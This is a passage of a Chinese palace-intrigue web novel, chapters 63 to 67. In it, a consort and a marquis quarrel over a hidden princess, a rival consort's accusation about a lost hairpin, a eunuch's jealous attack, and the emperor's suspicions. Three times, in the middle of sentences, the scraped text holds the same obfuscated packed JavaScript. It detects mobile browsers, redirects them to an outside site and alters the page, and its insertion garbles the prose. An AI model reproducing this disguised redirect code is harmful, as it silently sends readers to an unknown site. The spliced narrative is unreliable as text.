周徵莫名,问道:“我为什么不会笑?” “自打认识侯爷以来,从来没见你笑过,尤其是见到我。”云昭昭忍不住吐槽道,“不是冷着脸,就是摆臭脸的,今儿个太阳从西边出来了?不是昨晚的床太硬没睡好吗?难道你是个抖M?” 周徵:“……抖、抖什么?” “没什么,说了你也不懂。” 见身边人又开始喋喋不休埋汰自己,还说着一些自己听不懂的话,他开始后悔刚才自己多嘴了那么一句。 但尽管如此,他的嘴角还是难掩笑意,心情也如这冬日里暖融融的天气一般,暖暖的,又痒痒的。 他亲自送云昭昭回宫,并吸取了之前的教训,一直寸步不离地紧紧跟在她身侧。 “喂,侯爷今天是有什么好事吗?”云昭昭冷不丁地问他。 “什么好事?”他不解道。 “因为侯爷您从今日吃完早膳开始,就是总是一副要笑不笑的样子。” “有吗?”周徵撇了撇嘴角,故作严肃。 刚才一路回宫,他的注意力都放在她的身上,根本没注意自己的表情,现在听她这么说,反而有些局促而尴尬。 “有。” 云昭昭边说边走进宁远门,偌大的皇宫还是离开时那样肃穆、寂寥,她随口问道:“我很好奇,你用完早膳那会儿去见了什么人让你这么高兴?” “不是什么要紧的人。”周徵道。 云昭昭也不再多问,又往前走了几步,她突然停下,回过头,琉璃般的眸子里笑意盈盈:“其实侯爷你呀,笑起来还挺好看的。” 周徵:“……” 随后云昭昭又转过身,留给周徵一个背影,边走边喃喃道:“我说你以后还是应该要多笑笑。你看,就是因为你总在人前板着个脸,到现在都没有姑娘愿意跟你。” 周徵:“……” 这都什么跟什么啊?周徵心想。 但看着前面的云昭昭像只小雀儿一样边走边转悠,为这冬日冷寂的皇宫增添了几分难得的生气,他还是不愿扫了她的兴,只笑着应了一声: “好。” 64. 私心 进了宁远门,过了六部官署、文华殿,又经广济桥,再往前走便是嫔妃们所居住的内宫区域了。 云昭昭发现周徵依旧像个忠诚的保镖一样,寸步不离地跟着她。 甚至她走在前头,总能感觉到身后周徵的目光在紧紧地盯着自己,弄得她浑身不自在。 她停下脚步道:“侯爷,既然已经到了宫里,昭阳殿也不远了,咱们今天便在此处别过吧。” “不行。”周徵想都没想,不容分说地拒绝了她。 云昭昭有些莫名其妙,“为何不行?况且内宫区域,侯爷您一个外臣进去,怕是有些不妥吧?” 听到云昭昭这么说,与之前薛炼的话如出一辙,周徵便没由来地心里一阵烦躁。 “我从四岁起就住进宫里,出入内宫已有十八年了,有何不妥?”他有些赌气般地扔下这句话。 结果云昭昭小声嘟囔道:“可那时你又没成年……” 周徵只当没听到,又说:“宫里也不是绝对的安全,你也知道,那东瀛的公主就是这后宫里的人……总之我要看着你进了昭阳殿后,再回去。” “要这么说,这世上就没有绝对安全的地方了。”云昭昭忍不住道,“就是昭阳殿里面也不安全,侯爷可别忘了,汀雪这么危险的人物,就是从我昭阳殿里出去的。难道你也要一直守着我昭阳殿不成?” “守株待兔,也不是不行。”周徵一本正经地严肃道。 云昭昭拗不过他,只得放弃,然后换了个话题。 “说起来,那东瀛公主自称已委身于人,她又住在这宫里,我猜她十有八九是这宫中的嫔妃。侯爷以为呢?” 周徵不置可否。 见周徵默认,云昭昭又分析道:“所幸的是,陛下后宫人数少,排除起来也没那么困难,除了我本人,还有死去的纯容华,如今只剩荣嫔、霍婕妤、宋修媛、贾贵嫔、晴妃与易常在。” “其中荣嫔纯粹是个搅浑水的,不善谋略;霍婕妤为人耿直,又心系霍家;易常在赤子心肠,不会害人,这三人可以排除了。剩下的三人中,不知侯爷有何见解?” 谁知周徵却岔开话题道:“你似乎与易常在关系要好?” 云昭昭不知他何意,只好点头,敷衍地“嗯”了一声,算是应了。 周徵则说:“现在不是凭感情用事的时候,这个时候,不管是谁,都有可能。” 云昭昭有些不快,凤眸微挑,反问道:“你这是何意?是在说我感情用事吗?” 她说完就立刻意识到,自己能这么问何尝不是因为被私心左右? 可是她怎么不带有私心呢? 那天,在中秋夜宴上,在她被所有人怀疑,被千夫所指之时,也只有易琉璃愿意相信她,愿意站出来替她说话,甚至愿意冒着被冷落被迁怒的风险在陛下面前替她求情。 这样赤子心肠的人,又怎会做那满腹毒计的执棋者呢? 反倒是周徵,明明那是他心里喜欢的人,却依旧是这样公事公办、冷冰冰的态度。这家伙真是一点儿人情味都没有! 周徵说:“没有,我只是提醒你,虽然你与易常在关系要好,但也不要被主观的感情所左右,毕竟她相比你说的荣嫔与霍婕妤等人,要可疑得多……” “可疑?”云昭昭一惊,难以置信地看着周徵,“在所有人都怀疑是我害死了纯容华时,只有她敢于站出来替我说话。她相信我,我也相信她,而且这宫里没有人比我更了解琉璃,她绝不可能做那些事!” 毕竟,原书里只是吃吃喝喝,与世无争的咸鱼女主,天生就是有福之人,怎么可能去为了地位、为了权力去争得头破血流呢! “我并不想针对任何人。”周徵说,“只是不能排除有一种可能。” 云昭昭冷漠地看着周徵,她倒是很想听听他能说出些什么来。 结果周徵说:“她相信不是你做的,也许只是因为她知道真正的元凶是谁。从秋儿的死到纯嫔的死,所有这一连串的事里,只有她才是最容易撇清关系的人,但往往越是这样,越可疑……” “侯爷可有证据?”她的情绪一时有些激动。 “没有,只是猜测。”周徵平静道,“你不必如此激动。” “我才不激动!” 云昭昭很生气,很生周徵的气,但她也不清楚自己为何会生周徵的气。 她瞪了他一眼,不爽道:“我比任何都清楚,被诬陷的滋味十分不好受。所以既然没有证据,那就更不能平白地怀疑指认别人。否则,我现在早就在诏狱里,死无葬身之地,连骨灰都不剩了!” 面对云昭昭的夹枪带棒,周徵以沉默回应,唇角紧闭,仿佛之前那个带着温润笑意的年轻公子,只是昙花一现,只是幻觉一闪。 只有眼前这个如刀锋般冷寂,锋利的男人,才是真正的周徵。 云昭昭有些失望,不过她也不愿再在此事上停留。 她当即忍着气,对周徵说:“这件事用不着侯爷再操心了,既然已确定了东瀛公主是宫里的嫔妃,那我明日起便会找时间对她们一一拜访……” “不可。”周徵立刻表示了反对,语气坚决道,“你不能再插手此事了。” 云昭昭以为他还在一意孤行地认为自己感情用事,所以才不愿意让自己插手。 于是她不怒反笑道:“我不插手,难道还要侯爷这么个外臣一个一个亲自去拜访这些后宫嫔妃吗?侯爷,我也提醒你一句,嫔妃与臣子身份有别,这可是你说的,还请侯爷自、重。” 周徵也有些生气。 昨晚那样的情况,如果不是自己恰好在场,他根本不敢想象会有什么后果。 他不想说自己是因为云昭昭被拐卖一事而后怕、而自责,便只好随便找了个理由道:“我是怕你被个人感情影响了判断,到时候反误了大事。” 结果云昭昭一听,果然如自己所想,当即气得发抖。 个人感情? 难道他周徵就不会被个人感情牵绊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16159236|179884||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ? 万一他在半路像书里那般对易琉璃动心,又会如何? 她激动道:“是我主动向陛下要求要查出真相的,若我不去查,难道要等着侯爷与陛下知道真相后,我们云家再被灭九族吗?” 见她居然在这个节骨眼儿上如此在乎与易琉璃的情谊,周徵深深地吸了一口气,但还是耐着性子解释道: “不会的。我保证。”他说,“如今是一致对外的时候,若真像他们计划的那样,东瀛与突厥联合,大周腹背受敌,那西北少不得还要考聂将军镇守,他与你父亲当年有袍泽之谊,云家留着还有用处,陛下还不至于不理智到这种地步。” “我不信。”云昭昭直白道,“我绝对不会将自己的命运交由他人的一念之差主宰!” “我的意思是,你没必要以身涉险。”周徵只好让步道。 “不以身涉险,难道就坐以待毙吗?” 云昭昭的语气也稍微软了一点。 “起码现在,敌在明,我在暗。他们只知道那天在隔壁偷听的是你武安侯,但还没有人知道明姝就是我。” 二人一路争执着走到昭阳殿的门口,正好撞见昭阳殿外围着一堆宫里各个处的宫人,有尚仪局的,有尚食局的,甚至就连司礼监的汪海也在这里。 流霜一个人站在宫门口,挥舞着手帕解释着什么,像是在竭力阻拦这群人。 云昭昭与周徵下意识地相视一看。 显然,他们心里想的都是同一件事。 此时距离云昭昭出宫,已过去了整整三天三夜,按照宫规,普通的嫔妃本就不得随意出宫,更别说还出宫这么长时间未归。 这不止涉及的是宫规,还涉及到嫔妃的清白。 难道她出宫一事,连司礼监的人都知道了吗,已经惊动了赵昶? 正在这里,围着昭阳殿大门口的那一圈宫人中有人注意到了云昭昭,只听那小太监大叫了一声:“荣主儿!云贵妃,云贵妃在这里!” 众人一下子看向云昭昭和周徵的方向。 “我说呢!” 只见人群中,荣嫔插着腰,犀利又无礼地说道: “流霜,你这欺上瞒下的东西!你口口声声说贵妃卧病在床,需要静养,不能见人,可现在呢,贵妃这哪里是卧病在床不能见人的样子?” 面对荣嫔连珠炮一般的质问,流霜哑口无言,站在宫门口憋得脸都红了。 云昭昭失踪的这三天三夜里,昭阳殿里差点快闹翻了天。流霜硬是以一己之力压着殿内所有的宫人,不准任何人将云昭昭失踪三日的消息流出昭阳殿,对外只称是云昭昭生病卧床,但没想到却偏偏遇上了一个胡搅蛮缠的荣嫔。 流霜欲哭无泪地看着云昭昭,眼里是深深的歉意。 荣嫔见自己得了势头,更加得意地恨不得昭告天下: “我看贵妃这几日根本就不在昭阳殿里!今儿相关的人都在,我倒想知道,按照宫规,宫女对当主子的撒谎,该当何罪?!” 65. 怀疑 云昭昭远远地便瞧见流霜眼下的淤青,看来自己不在的三日,流霜是操碎了心,原本肉嘟嘟的一张脸,也疲惫得像蔫掉的茄子一样。 她投以流霜一个安慰的眼神,随后对荣嫔说: “本宫确实身子不适,在宫中卧床已有两日,也不见好转。幸而太后怜惜,听闻本宫身子不爽快,便特地从宫外请了女医给本宫诊治。至于武安侯,是本宫离开慈宁宫时,正好遇上了他给太后请安……” 云昭昭面不红心不跳地搬了太后出来,虽然有些对不起她,但眼下为了打发荣嫔,她也顾不得许多了。 只是这谎话编到最后,却不知道该怎么圆了。 “本侯奉太后之命送贵妃回宫。”周徵立马接过话道。 有了周徵一锤定音,云昭昭的谎话编得再假,现在听起来也有几分真了。 荣嫔开始将信将疑,遂又问道:“既然请了女医,为什么不直接让女医到昭阳殿的,反而却要去慈宁宫呢?” 云昭昭说:“太后说了,昭阳殿里人多口杂,而且尽是些小姑娘,什么也不懂。不如她那里安静,又有苏嬷嬷等妥帖有经验的老人帮着。是本宫吩咐她们对外称我卧病在床的,毕竟本宫的病也不太好声张。” 她这话一说,为这所谓的“病”又添了几分神秘,荣嫔也自然不可能去找太后求证。 看着荣嫔一副敢怒不敢言的模样,云昭昭心里好笑,面上却平静地说:“昭阳殿里都是些小丫头片子,不懂事,得罪了荣嫔,本宫回去定会好好罚她们一顿。只是不知荣嫔今日来找本宫所为何事?” “哼!”荣嫔傲慢地轻哼,咄咄逼人道,“贵妃还好意思问!当日在宫正司门口,就是‘凑巧’碰上了贵妃,回宫后便发现陛下赏嫔妾的那支紫玉蝴蝶攒珠步摇不见了。” 云昭昭冷笑一声,问:“这么说荣嫔是一口咬定了是本宫拿走了你那心爱的步摇了?” “嫔妾可没这么说。”荣嫔杏眼微嗔,一副不服气的模样,“只是嫔妾的身边的宫女们,和宫正司守门的嬷嬷都可以作证,嫔妾去的时候那簪子还好端端地在嫔妾的头上插着,可回到宫里就不见了。这路上,可就只遇见了贵妃娘娘。” “荣嫔这不就是在指责本宫偷了你的簪子吗?” “这怎么能用偷呢!”荣嫔争辩道,“或许是娘娘身边的谁捡到,悄悄藏了也未可知!” 说完她又补充了一句,像是生怕别人不知道那簪子的价值似的。 “那支紫玉步摇,可是用今岁缅甸进贡的老坑木那雪花绵冰种的矿做的,一整块石墩大小的料子上就出了这一小点水色好、光感强的,听说种水比晴妃那只镯子上的还要好呢。陛下这才将它赏给了嫔妾。” 她一字一句间俱是炫耀,俱是赵昶对她的宠爱,仿佛那支紫玉步摇就是她最珍视的物件,是她享有帝王宠爱的凭证,是她此生的依靠…… 她还特意提了一嘴晴妃的之前得的那只紫罗兰翡翠镯,看来之前荣嫔就对那只镯子羡艳无比了,所以现在才变了花儿地都要证明自己的比她的更好。 只是云昭昭虽不懂翡翠玉石,但也清楚,翡翠物件中,越难获取的完整大件可比小件的价值高多了。晴妃的手镯,温润饱满,色浓体透,一看就是罕见的稀世之宝。 云昭昭便随口问了一嘴流霜:“你可有在路上看到荣嫔的步摇?” 流霜摇了摇头说:“不曾。” “你撒谎!”荣嫔指着流霜骂道,“我在路上就只遇到了你和你家主子!除了你们,还有谁敢盯着陛下赏我的东西!” 云昭昭冷眼旁观,心知肚明这是上次荣嫔在宫正司门口遇见自己吃了亏,现在这是在找回场子呢。 只要她一口咬定簪子丢了,那这一盆脏水自己想洗去恐怕还是要费点儿功夫。 这时候流霜很有眼色地跪在地上,对云昭昭道: “娘娘明鉴啊!奴婢这几日打扫宫里,替您整理物件,并没有在殿内看到什么步摇。那可是陛下赏给荣嫔的,奴婢就是吃了熊心豹子胆也不敢去捡啊!更别说藏了丢了的……” 流霜表面上是在喊冤,话里又暗中指责荣嫔弄丢了御赐之物。 荣嫔一听,气得脸都绿了。正要开口,却被周徵意外地抢了先。 “荣嫔要找的,可是一只紫色翡翠镶金,流苏上缀着莲子大小的东珠的步摇?” 谁也没料到周徵会在这时候开口,荣嫔脸色微变,气势一下子弱了不少。 她点点头道:“正、正是……” “是我捡到的。” 周徵此言一出,全场哗然,那被荣嫔扭着请过来各局女官,乃至司礼监新任秉笔汪海也俱是一惊,众人你看看我,我看看你,眼神十分微妙。 周徵无视了在场众人的眼神,正色道:“那日我返回宫正司调查的时候,正好在一处拐角处捡到了此物,那里长着一棵石榴树,想来应该是荣嫔路过时被树枝挂着了。” 周徵说完,冷冽锋利的目光像锥子般射向汪海。 汪海笼着袖子,轻刻几声,有些尴尬道:“是,武安侯那日确实又返回了宫正司……” 周徵又说:“我捡到那步摇,也不知道是谁的,但也看得出来是贵重之物,或许是宫里哪位贵人娘娘的,便将东西交到了宫正司的李公正手上。” “可我差人问了李宫正,她明明说没见到过我的步摇!”荣嫔还是不愿就此放弃,嘴硬道。 汪海见状,只好插了个嘴说:“哎哟,荣主儿,那李宫正都是年过半百的老人了,记性差也是情有可原的。” 实际上,在宫里有点儿资历的宫人们都清楚,宫正司的李宫正是个顶顶贪财之人,经常收些回扣,刮点儿油水。 这次荣嫔遗失的步摇,说不定就是她见这么几天都没人回去找,便自己私吞了,反正到时候被发现了,还可以诬陷是司里关押着的宫女偷了私藏起来的。 周徵又接过话说:“李宫正记性不好,想来只要本侯同荣嫔一趟去宫正司,她便能记起来了……” 他说这话的时候,板着张脸,不苟言笑,但却总让人听了觉得是在嘲讽荣嫔在宫里的位份太低,有不少小宫女小太监甚至绷不住,低声笑了出来。 “哼!这点儿小事,就不必麻烦武安侯了。” 荣嫔自个儿把丢了步摇一事闹得沸沸扬扬、人尽皆知,本想着给云昭昭扣一个嫉妒自己的帽子,结果却被周徵一席话弄得脸面尽失,在场的宫人又众多,她只好咽下这口气,灰溜溜地带着自己的宫人离开了。 不过以荣嫔的性子,今日失了的脸面,她只会归咎在周徵与云昭昭身上,更别说如今她才是这宫里最得势受宠的。 因此,到了晚上赵昶招幸她的时候,她便梨花带雨地将今日在昭阳殿门口的遭遇避重就轻地说给了赵昶听。 并特别强调了周徵与云昭昭是一同回到昭阳殿的,甚至哭诉到最后,她被恨意冲昏了头,还添油加醋地向赵昶描述了一下周徵与云昭昭的亲密举动。 “陛下,”荣嫔眼圈通红,小鸟依人地靠在赵昶身侧,为他轻轻揉捏着肩膀,“嫔妾怀疑,云贵妃娘娘私下与武安侯关系不简单……” “你说什么?”赵昶原本微阖的双眼蓦地一下子睁开,“你把刚才 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16175136|179884||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的话再跟朕说一遍?” 荣嫔压根儿没意识到气氛不对,只以为是赵昶起了怜香惜玉之心,想要为自己找回场子。 于是她更加直白大胆地说道:“就是嫔妾怀疑贵妃与武安侯有染嘛,陛下您想,一个外臣怎么可能这么容易与贵妃遇到一块儿,还送她回宫……而且,贵妃这三日以来一直对外称病,嫔妾是真的怀疑她说不定不在宫里……” “你说云贵妃这三天都对外称病?谁也没见?”赵昶一下子从龙床上起身,声音有些颤抖。 “是啊,”荣嫔主动靠在他的胸前,“之前易常在去找她,她称病不见,后来晴妃去找她,她也称病卧床,今日一早嫔妾去找她也是如此。可后来见到她的时候,她拿像是需要卧床的样子……” 换了平时,荣嫔在赵昶面前这番不带脑子的话定是要引得赵昶龙颜大怒的。 可今日她却歪打正着了。 因为周徵得罪了醉仙楼的老鸨紫瑛,因此她便立刻动用自己的关系网,将周徵那晚在醉仙楼的“风流韵事”放了出去,很快就在京城传遍了。 以至于一下午,赵昶在养心殿批阅奏折的时,一连收到了数封来自翰林院、都察院等处的弹劾奏疏。 均是弹劾武安侯卸任指挥使后便开始颓废奢靡,不思进取,在醉仙楼一掷千金,只为那花魁明姝的初夜。 一开始赵昶还不以为意,只以为这传说中有倾城之姿的花魁明姝,就是周徵的那位心上人,还笑着同一边伺候的汪厚调侃说,周徵那榆木脑袋终于开了窍…… 可现下经过荣嫔这一提醒,赵昶这才回过神来。 这京城中,貌若牡丹,明艳无双的女子,除了云昭昭,他再没有听说过任何人。 倘若那花魁明姝,真是云昭昭…… “有趣,有趣……”赵昶眯着眼,嘴角勾起一丝阴郁的笑意。 “陛下是在嘲笑嫔妾的猜测吗?”荣嫔媚眼如丝,故作生气。 “非也,”赵昶的手顺着她光洁的后背一路下滑,“朕是在夸爱妃实在是太聪明了。” “哼,陛下就会戏弄嫔妾。”荣嫔得意地娇嗔道。 …… 第二日的朝会上,翰林院里曾是云琛门下学生的几名言官就这周徵在醉仙楼里的“风流韵事”开始对他口诛笔伐。 但赵昶却一脸讳莫如深,反而是下了朝才遣了司礼监的人,通知周徵让他去一趟养心殿。 周徵走到离养心殿还有数百米的一条小道上,只见几株落光了叶子的银杏树下,站着一个身着御马监服饰的太监。 薛炼等在这里已经有一会儿了,宫里的消息向来都如长了翅膀一般传得极快,在他听说了醉仙楼里发生的事后,便立刻反应过来所谓的明姝姑娘多半就是云昭昭。 自从前日流霜差人找到他,告知他云昭昭一夜没有回宫后,他便焦头烂额,寝食难安,接着调遣禁军巡逻的名头,恨不得把宫里掘地三尺,但仍然不见云昭昭的踪影。 显然,她从那日出宫后,就再也没有回来过。 想到云昭昭居然进了醉仙楼,还拍卖什么初夜,薛炼连杀了周徵的心都有。 因此,今天一听说赵昶要在养心殿里召见周徵,他便立刻赶到了这条前往养心殿必经的小道上堵他。 看见周徵来了,薛炼立刻杀气腾腾地上前,一把拽住他的衣领。 “武安侯!我要杀了你!!” “你干什么?!” 薛炼双目血红,咬牙切齿地质问道: “既然信誓旦旦地说你负责宫外,那你凭什么,凭什么还要让她涉险?嗯!!” 66. 不配 面对薛炼的质问,周徵沉默了。 凭什么要让云昭昭涉身险境? 这是一个他也无法回答的问题。 就是因为那一念之差。 就是那距离宁远门数十米的距离。 他差一点就真的要酿成大错。 “抱歉。”周徵哑着嗓子道。 “抱歉有什么用?啊?”薛炼大吼着,扯着他的衣领。 周徵道:“你先放开,我再跟你解释。” 薛炼越来越激动,对周徵的话置若罔闻。 “解释什么解释!你武安侯,武功比我高,身份地位比我高,你说你会在宫外护着昭昭,就是护着她去醉仙楼那种地方抛头露面吗?” “还拍卖初夜,你知不知道,清白对一个女子而言有多么重要?尤其她还是陛下的女人!” 说到这里,薛炼连想杀了周徵的心都有。 他一把松开手,抽出自己腰间的软剑,不由分说地用剑尖指着周徵。 但周徵站在原地,没有动,也没有要出手防御的意思,只是动了动嘴唇: “我知道。” “你知道你还?!”薛炼气得一剑刺了过去。 周徵迎着剑锋,侧身避开薛炼的攻势,边退边道:“你放心,我没碰过她……” 他这句话脱口而出,好似一根淬着毒的利箭,一下戳中了薛炼的脊梁骨,令他屈辱与愤怒。 薛炼的眼神更加狰狞,凌厉的剑势招招逼近周徵要害。 周徵目不暇接地应对,一边运气一边补充道:“这件事确实是我的失职……” 见周徵这副步步退让的样子,薛炼觉得忒没意识,心里更是没来由地气恼。 只听“啪嗒”一声,他一把将软剑扔在地上,痛心疾首道: “昭昭绝不会自己去醉仙楼那种地方,她肯定是遇到了什么事情……这,是你一句失职就能轻轻揭过的吗?” “我……”周徵哑口无言。 薛炼说的一点没错,虽然云昭昭从未提过那日分开以后的遭遇,但仅从红珠那轻描淡写的描述中,他已经想象到了她当时的束手无策与绝望。 每当想到这里,他的胸口就闷闷的,说是愧疚,却也不像;说是生气,但也不完全,就像是被什么东西拧住了一样,又紧又酸。 薛炼又说:“武安侯,陛下现下已经听说了你在醉仙楼的那些风流事,你说,万一他猜出了昭昭就是‘明姝’,他会对昭昭怎么样?” “你且放心,我不会让陛下知道昭……贵妃她这几日不在宫里。”周徵说,“等会儿他问起,我会将我此行的目的实话实话,绝不会提到贵妃,毕竟,我去醉仙楼,是跟着两名东瀛男人的线索去的,而且这一次,我的收获还不小。” 见薛炼一副不信任的表情,周徵郑重其事地补充道:“你且放心,此事我一定会用一己之力抗下。” 薛炼闻言,凶狠地瞪着周徵,眼中带着决绝。 “我告诉你,这次昭昭如有任何闪失,我薛某,就算是赌上这条贱命,也要让你们这些人付出代价!!” 周徵静静地盯着面前这个身体残缺,不能被称作男人的男人。 出人意料的,他竟然一点儿也不讨厌他,甚至还有几分佩服。 思索片刻后,周徵沉下心,向薛炼解释了那天自己没能照看好云昭昭的原因。 他从自己遇见的两个东瀛男人讲起,又解释了自己在醉仙楼的拍卖上叫了天价,也只不过是为了调查这两个东瀛男人而已。 “我那晚,也是见到了化名为‘明姝’的贵妃以后,才知道原来她并没有回宫的。”周徵说。 薛炼听完周徵的解释,没好气道:“虽说你是无心,但没将她看护好,也是你的疏忽。她一个弱女子,又长成那样,不更容易被歹人觊觎吗!” 周徵看着他,摇摇头道:“你错了,她不是你说的那样,更不是什么弱女子。” 薛炼一下子火了。 “你算什么东西?武安侯,你跟她不过是在宫内见过几面罢了,你以为你很了解她?” “我当然不算了解她。”周徵说,“但我也清楚,她虽被人拐到了醉仙楼不假,但作为花魁‘明姝’拍卖初夜,却是她自己想到的破局之法。” “你说什么?”薛炼惊愕不已。 周徵见他这等震惊,只好又举例道:“你可知道那个经常出入王府侯门的波斯珠宝商?” “略有耳闻。”薛炼没好气道,“你到底想说什么!” “我是想说,那波斯人生得出奇的魁梧壮硕,比汉人高出了一个头。当初醉仙楼的老鸨要‘明姝’第一个接待的便是此人,她想的就是要给新人下马威,好以后乖乖听话,好好接客。” 薛炼:“……” “你猜怎么着?那个蛮牛一般的波斯人并没有占到任何便宜,硬生生地被昭昭踹坏了命根子,甚至,还被戳瞎了一只眼睛。” 薛炼的脸色终于变了,像是打翻了的调料瓶,带着一种陌生的,难以言喻的表情。 “我方才说,我是跟着那两个东瀛男人的线索找到醉仙楼的,而她则是靠的另外一条线。” 周徵言语中带着笃定:“可见,她在面对任何危险,任何情况下,都没有放弃求生的意念和对真相的执着。” 见到薛炼有所松动的表情,周徵最后总结道: “昭昭,她并非一朵需要人随时呵护在手的娇花……她就像一颗树的种子,会生根发芽,会抽枝长叶,她有自己的天地,也有为别人遮风挡雨的能力。” 周徵的话,一字一句,听得薛炼心口生疼,喉咙发紧。 终于,他不管三七二十一,直接给了周徵重重一拳,将他掀 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16186735|179884||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 翻在地。 周徵仍旧没有还手,硬生生受下了薛炼这一拳。 虽然他方才嘴上那么说,但好像只有接下薛炼的攻击,他对云昭昭的愧疚才能消解一些;那又酸又胀的心,才会好受一些。 “你没资格说这些!”薛炼说,“你就是没保护好她!” 周徵用沉默表示了认同,过了半晌,他突然问薛炼: “你喜欢她,对不对?” 薛炼一下子愣住了。 他从没想过从这个一向冷血的、缄默的、没有感情的男人口中会问出这样的话。 他问这话是为了试探自己的软肋?好用昭昭来牵制自己? 亦或是……他也对昭昭有意思? 薛炼倏然对上周徵黑亮的眼眸,里面干干净净的,看不出任何情绪。他好像只是想到了,便就这么问了出来。 “是又如何?”薛炼反问。 片刻后,他承认道:“是。我是喜欢昭昭不假,很多年前,不知道从什么时候开始,我便下定决心要保护她。” “所以……”薛炼警惕地看着周徵,咬着牙道,“只要昭昭她在这宫里一天,我就会护着她一天。她若是将来不想在这牢笼般的深宫中蹉跎年月,那我便是拼死,也会带她出宫,照顾她一辈子。” 周徵的眸光动了动,似乎有些动容。 “她知道吗?”他问。 薛炼自嘲般地苦笑一声,说:“不知道,她也没必要知道。” 谁知周徵接着问他:“那你有问过她的意思吗?我是说……她,愿不愿意被你保护……” 薛炼闻言大笑起来,面露讥讽,倨傲地对周徵说道: “薛某不幸,虽没了下面那玩意儿,可比起你武安侯这种为人刀俎的东西,也要爷们儿得多!” “薛某就算是个太监,也知道保护好自己心爱的姑娘,而你,武安侯……”薛炼轻蔑道,“帮着赵昶做了不知道多少杀人不眨眼的脏事。多少有才有德的臣子,不过因为碍了他的眼,挡了他的路,便成为你刀下亡魂。你的手上沾满了多少人的血,你的心上没有感情,漆黑一片,你这种人,连妻儿都不配有,更不会懂我,也不配懂我!” 薛炼说完,嫌弃地松开周徵,收了地上的软剑,转身离开了。 周徵仰面躺在地上,看着薛炼的背影一点点消失在小道尽头,胸口随着呼吸,上下剧烈起伏。 养心殿外一路的银杏早已落光了叶子,只剩光秃秃的枝丫,在头顶的天空中张牙舞爪地挥动着。入冬以后,除了偶尔的暖阳外,便是这种阴郁得密不透气的天空。 周徵越看越觉得呼吸困难,只能闭上眼,努力平复着心境。 不一会儿,有水滴落在他的脸上,苦涩的,带着微咸。 下雨了。 他这才慢腾腾地起身,朝着养心殿走去。 67. 旨意 养心殿内。 周徵将自己前日的经历禀告了赵昶。 除开隐去了所有关于云昭昭的细节,其余的一切经过:从偶遇两名东瀛将军,到一路尾随二人至驿馆,再到第二日醉仙楼的拍卖,那位隐姓埋名的东瀛公主的密谋…… 他都事无巨细地讲了出来。 尤其提到几人密谋的内容,周徵尤为郑重其事: “陛下,如今已快立冬,距离关外草场冰冻,大雪封山已不到月余,偏偏今年西北、关中一带粮食欠收,虽有聂家军驻守,但如若突厥连同周边鲜卑、回鹘、吐谷浑等国一道南下侵犯我大周,怕是迟早会有一场硬仗,光是军备粮草就需朝廷早做打算,提前从汉中、江南调取。” 他说完,赵昶却仍旧一副若有所思的模样,迟迟未曾表态。 周徵只好又道:“而东南一代,本就是物产丰茂的富庶之地,且经过这些年的休战,民殷财阜,又有独孤将军在,倒是不足为惧,只是——” “行了,明彰,朕今日叫你到这儿来,不是想在这儿听你讲兵书,分析局势的。” 不等周徵说完,赵昶就极不耐烦地打断了他。 周徵抬眸,一脸难以置信,他以为,当下没有什么比提前应对外夷的联合来犯更加重要。 谁知下一刻,赵昶就眯了眯那双狭长的吊梢眼,饶有兴致地说:“听闻昨日你在醉仙楼为博得美人青睐,一掷千金。朕很好奇,那位传说中貌似天仙的明姝姑娘,到底长得如何?” “……” 周徵没想到赵昶关心的居然只是这个,只好略微尴尬地说:“臣……臣其实,没太仔细看……” “诶,明彰,这就是你的不对了,”赵昶一脸莫测的笑意,“之前朕要给你赐婚,你曾说已有心上人,你那位心上人,该不会就是这醉仙楼的明姝姑娘吧?” 周徵一听,赶紧解释道:“陛下,这是两件事情,臣那日去醉仙楼,只是为了调查那两名东瀛人,想到这样能掩人耳目,所以才以参与拍卖为幌子。至于……至于那明、明姝姑娘,臣确实不敢细看,大概、大概就如传言所说吧……” 赵昶见他一副紧张的模样,笑意越发深了。 “如传言所说?那就是明若昭阳,艳似牡丹了……那这样的美人配给你倒也不亏了,虽说你已有心上人,但朕下旨让她到你身边做个妾也是可以的。” 周徵一听,脸色微变,忙不迭地拒绝道:“不可,陛下,这等节骨眼儿上,臣实在无暇顾及这些儿女之事。” “诶,现在无暇顾及,不代表以后也无暇顾及。可以先让人住到你府上,往后再慢慢相处,培养感情嘛。” 周徵只好行了大礼,道:“陛下,且不说臣已心有所属,就算是娶妻,臣这一路走来杀人无数,手上鲜血淋漓,有了妻儿也只会连累他们。” 